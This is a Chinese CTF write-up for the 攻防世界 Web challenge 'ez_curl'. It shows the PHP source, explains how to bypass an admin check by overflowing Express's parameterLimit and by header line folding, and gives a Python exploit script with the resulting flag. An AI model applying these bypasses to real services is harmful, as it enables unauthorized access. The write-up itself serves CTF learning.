文章目录

  • 前言
  • 一、ez_curl
    • 1.题目
    • 2.答题

前言

Express是一个流行的Node.js Web框架,它提供了许多有用的功能来构建Web应用程序。其中之一是参数解析,它允许开发者解析HTTP请求中的参数。Express提供了许多选项来配置参数解析。其中之一是parameterLimit选项。

parameterLimit选项用于指定query string或者request payload的最大数量。默认情况下,它的值是1000。如果你的应用程序需要解析大量的查询字符串或者请求负载,你可能需要增加这个限制。例如,如果你的应用程序需要处理非常长的查询字符串,你可以将parameterLimit设置为一个更高的值。

以下是一个示例,演示如何使用parameterLimit选项来增加query string和request payload的限制:

const express = require('express')
const app = express()// 将parameterLimit设置为10000
app.use(express.json({ parameterLimit: 10000 }))
app.use(express.urlencoded({ parameterLimit: 10000, extended: true }))

在上面的代码中,我们将parameterLimit设置为10000。这将允许我们解析更大的请求负载和查询字符串。

需要注意的是,如果你将parameterLimit设置为一个非常高的值,可能会导致安全问题。攻击者可以发送恶意请求,包含大量参数,导致服务器崩溃。因此,你应该谨慎地设置参数限制,并确保你的应用程序具有有效的安全措施,以防止此类攻击。

一、ez_curl

1.题目

2.答题

打开题目发现

<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){$offset = stripos($headers[$i], ':');$key = substr($headers[$i], 0, $offset);$value = substr($headers[$i], $offset + 1);if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){die('try hard');}
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
try hard1

本体两个知识点分别是:

  • express的parameterLimit默认为1000
  • 根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行

第一点:来自源代码的这一行。结合这篇文章的分析,当我们传入的参数超过1000个时,之后的参数会被舍弃掉。于是这里我们最开始发个"admin":"t"设置好admin的值,加上999个没用的参数,把程序拼接的&admin=false挤掉,即可绕过过滤。

第二点:header 字段可以通过在每一行前面至少加一个SP 或 HT 来扩展到多行。以此绕过对 headers 的过滤

python脚本如下:

import requests
import json
from abc import ABC
from flask.sessions import SecureCookieSessionInterfaceurl = "http://61.147.171.105:58830/"datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],"params": {"admin": "true"}}for i in range(1020):datas["params"]["x" + str(i)] = iheaders = {"Content-Type": "application/json"
}
json1 = json.dumps(datas)
print(json1)
resp = requests.post(url, headers=headers, data=json1)print(resp.content)

得到flag:CatCTF{23aaaab824aadf15eb19f4236f3e3b51}

【愚公系列】2023年06月 攻防世界-Web(ez_curl)相关推荐

  1. 【愚公系列】2023年06月 攻防世界-Web(wzsc_文件上传)

    文章目录 前言 一.wzsc_文件上传 1.题目 2.答题 前言 文件上传漏洞(File Upload Vulnerability)是指攻击者通过某种方式绕过应用程序上传文件的安全检测机制,将恶意文件 ...

  2. 【愚公系列】2023年06月 攻防世界-Web(i-got-id-200)

    文章目录 前言 一.i-got-id-200 1.题目 2.答题 前言 Perl 文件上传是一种使用Perl编程语言编写的文件上传脚本或程序,它可以将文件从本地计算机上传到 Web 服务器或远程服务器 ...

  3. 【愚公系列】2023年06月 攻防世界-Web(babyweb)

    文章目录 前言 1.SSRF 2.文件读取漏洞 一.babyweb 1.题目 2.答题 前言 1.SSRF SSRF(Server-Side Request Forgery,服务端请求伪造)是一种安全 ...

  4. 【愚公系列】2023年05月 攻防世界-Web(lottery)

    文章目录 前言 一.lottery 1.题目 2.答题 前言 dirsearch是一个用于Web服务器的爬虫工具,它可以快速地扫描网站的目录,并找出隐藏的文件和目录.dirsearch可以检测出许多常 ...

  5. 【愚公系列】2023年05月 攻防世界-Web(unseping)

    文章目录 前言 一.unseping 1.题目 2.答题 前言 反序列化漏洞是一种安全漏洞,存在于那些使用序列化技术的应用程序中.反序列化是将已序列化数据还原回对象的过程.攻击者可以通过构造恶意序列化 ...

  6. 【愚公系列】2023年05月 攻防世界-Web(shrine)

    文章目录 前言 一.shrine 1.题目 2.答题 前言 Flask是一个轻量级的Web应用程序框架,用于Python编程语言.它是基于Werkzeug WSGI工具箱和Jinja2模板引擎构建的. ...

  7. 【愚公系列】2023年05月 攻防世界-Web(FlatScience)

    文章目录 前言 一.FlatScience 1.题目 2.答题 前言 Robots协议,也称作robots.txt,是一种在Web站点中告诉搜索引擎蜘蛛哪些页面可以被访问的协议.该协议规定了机器人在访 ...

  8. 【愚公系列】2023年05月 攻防世界-Web(file_include)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.file_include 1.题目 2.答题 总结 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion ...

  9. 【愚公系列】2023年05月 攻防世界-Web(Web_php_include)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.Web_php_include 1.题目 2.答题 2.1 伪协议解题 2.2 中国蚁剑 2.3 数据库写入 前言 1. ...

最新文章

  1. mysql导入sql脚本出现there can be only one TIMESTAMP column with CURRENT_TIMESTAMP in DEFAULT or ON UPDATE
  2. gradle常用命令
  3. Pytorch基础训练库Pytorch-Base-Trainer(支持模型剪枝 分布式训练)
  4. HTML5 新元素标签系列:最简版 HTML5
  5. 厉害了!Intel第九代酷睿参数曝光
  6. 163邮箱:退信代码(对照表) - 说明篇
  7. 开发里程碑计划_如何通过里程碑控制项目进度
  8. STM32中断应用总结
  9. 把javabean复制到另一个javabean 使用BeanUtils.copyProperties(a,b) 复制
  10. 已知树的前序遍历和中序遍历,求后序遍历的方法(转)
  11. Kepware配置OPC UA实现匿名or用户名/密码连接
  12. Ucinet6 + Netdraw 根据excel文件绘制网络拓扑图
  13. ThinkPad T14 Gen3拆机更换升级内存和固态硬盘
  14. VC++6.0如何找到“丢失”的对话框控件工具箱
  15. ARM64+树莓派4b+JLINK仿真器实验环境搭建指南
  16. Spring Data JPA 之 @Entity 的常用注解
  17. win10打印机共享错误0x0000011b
  18. 机器学习(一元线性回归模型)
  19. Java实训——创建一个窗体程序,实现简单的数学加、减法测试。
  20. [Jenkins]JDK版本过高导致的java.io.IOException: Remote call on xxxx failed

热门文章

  1. android安卓手机(小米 MI3联通版)安装Ubuntu(Linux发行版)过程遇到的坑以及解决办法。
  2. python判断数字在不在范围内_在python中检查数字是否在某个范围内(使用循环)?...
  3. 国产数据库达梦8新手入门
  4. 笑话之---男追女之九阴真经
  5. vue动态设置style属性修改背景图片
  6. 关于test指令和add指令的区别,inc指令和add指令的区别
  7. 自己整理的一张图,关于新个税专项附加扣除
  8. 阿里图标font class的使用方法
  9. 结合3种无线电接收机架构实现多个灵活模拟带宽以应对不同应用场景
  10. 分享Python采集79个NET其他类别源码,总有一款适合您